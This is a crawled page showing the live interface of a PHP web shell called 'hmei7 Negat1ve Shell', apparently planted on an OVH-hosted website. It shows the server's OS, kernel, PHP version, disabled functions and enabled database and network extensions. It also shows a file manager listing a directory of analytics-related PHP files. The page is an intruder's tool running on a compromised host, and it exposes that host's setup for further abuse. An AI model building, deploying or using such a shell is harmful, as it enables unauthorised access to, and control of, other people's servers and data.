hmei7 Negat1ve Shell
Server Information
Operating System : Linux webm257.cluster030.gra.hosting.ovh.net 5.15.80-ovh-vps-grsec-zfs-classid #1 SMP Wed Nov 30 08:49:06 UTC 2022 x86_6
PHP Version : 7.4.33
Storage : Total = 14.61 TB, Free = 2.36 TB [16%]
Disable Functions : _dyuweyrj4,_dyuweyrj4r,dl
CURL : ON | SSH2 : ON | Magic Quotes : ON | MySQL : ON | MSSQL : OFF | PostgreSQL : ON | Oracle : OFF
Safe Mode : OFF | Open Basedir : NONE | Safe Mode Exec Dir : NONE | Safe Mode Include Dir : NONE
Files Manager
Name Type Size Last Modified Owner/Group Permission Action
. dir -- 2024-09-10 01:47:31 adesruw/users 0755 >> drwxr-xr-x
.. dir -- 2024-09-10 01:47:32 adesruw/users 0755 >> drwxr-xr-x
Metrics dir -- 2024-09-10 01:47:31 adesruw/users 0755 >> drwxr-xr-x
IdSite.php text/x-php 1.98 KB 2024-09-10 01:47:31 adesruw/users 0644 >> -rw-r--r--
LinkVisitActionId.... text/x-php 1.02 KB 2024-09-10 01:47:31 adesruw/users 0644 >> -rw-r--r--
LinkVisitActionIdP... text/x-php 1.49 KB 2024-09-10 01:47:31 adesruw/users 0644 >> -rw-r--r--
Profilable.php text/x-php 1.51 KB 2024-09-10 01:47:31 adesruw/users 0644 >> -rw-r--r--
ServerMinute.php text/x-php 961 B 2024-09-10 01:47:31 adesruw/users 0644 >> -rw-r--r--
ServerTime.php text/x-php 1.65 KB 2024-09-10 01:47:31 adesruw/users 0644 >> -rw-r--r--
UserId.php text/x-php 4.2 KB 2024-09-10 01:47:31 adesruw/users 0644 >> -rw-r--r--
VisitFirstActionMi... text/x-php 1.27 KB 2024-09-10 01:47:31 adesruw/users 0644 >> -rw-r--r--
VisitFirstActionTi... text/x-php 1.63 KB 2024-09-10 01:47:31 adesruw/users 0644 >> -rw-r--r--
VisitGoalBuyer.php text/x-php 4.15 KB 2024-09-10 01:47:31 adesruw/users 0644 >> -rw-r--r--
VisitGoalConverted... text/x-php 2.06 KB 2024-09-10 01:47:31 adesruw/users 0644 >> -rw-r--r--
VisitId.php text/x-php 1.74 KB 2024-09-10 01:47:31 adesruw/users 0644 >> -rw-r--r--
VisitIp.php text/x-php 1.66 KB 2024-09-10 01:47:31 adesruw/users 0644 >> -rw-r--r--
VisitLastActionDat... text/x-php 1.56 KB 2024-09-10 01:47:31 adesruw/users 0644 >> -rw-r--r--
VisitLastActionDay... text/x-php 1.21 KB 2024-09-10 01:47:31 adesruw/users 0644 >> -rw-r--r--
VisitLastActionDay... text/x-php 1.31 KB 2024-09-10 01:47:31 adesruw/users 0644 >> -rw-r--r--
VisitLastActionDay... text/x-php 1.2 KB 2024-09-10 01:47:31 adesruw/users 0644 >> -rw-r--r--
VisitLastActionMin... text/x-php 1.43 KB 2024-09-10 01:47:31 adesruw/users 0644 >> -rw-r--r--
VisitLastActionMon... text/x-php 1.29 KB 2024-09-10 01:47:31 adesruw/users 0644 >> -rw-r--r--
VisitLastActionQua... text/x-php 1.18 KB 2024-09-10 01:47:31 adesruw/users 0644 >> -rw-r--r--
VisitLastActionSec... text/x-php 1.19 KB 2024-09-10 01:47:31 adesruw/users 0644 >> -rw-r--r--
VisitLastActionTim... text/x-php 4.38 KB 2024-09-10 01:47:31 adesruw/users 0644 >> -rw-r--r--
VisitLastActionWee... text/x-php 1.21 KB 2024-09-10 01:47:31 adesruw/users 0644 >> -rw-r--r--
VisitLastActionYea... text/x-php 1.19 KB 2024-09-10 01:47:31 adesruw/users 0644 >> -rw-r--r--
VisitTotalTime.php text/x-php 2.6 KB 2024-09-10 01:47:31 adesruw/users 0644 >> -rw-r--r--
VisitorDaysSinceFi... text/x-php 1.26 KB 2024-09-10 01:47:31 adesruw/users 0644 >> -rw-r--r--
VisitorDaysSinceOr... text/x-php 702 B 2024-09-10 01:47:31 adesruw/users 0644 >> -rw-r--r--
VisitorFingerprint... text/x-php 1.39 KB 2024-09-10 01:47:31 adesruw/users 0644 >> -rw-r--r--
VisitorId.php text/x-php 2.19 KB 2024-09-10 01:47:31 adesruw/users 0644 >> -rw-r--r--
VisitorReturning.p... text/x-php 2.94 KB 2024-09-10 01:47:31 adesruw/users 0644 >> -rw-r--r--
VisitorSecondsSinc... text/x-php 2.63 KB 2024-09-10 01:47:31 adesruw/users 0644 >> -rw-r--r--
VisitorSecondsSinc... text/x-php 2.59 KB 2024-09-10 01:47:31 adesruw/users 0644 >> -rw-r--r--
VisitsCount.php text/x-php 1.67 KB 2024-09-10 01:47:31 adesruw/users 0644 >> -rw-r--r--
Copyright negat1ve1337@gmail.com Coded by Negat1ve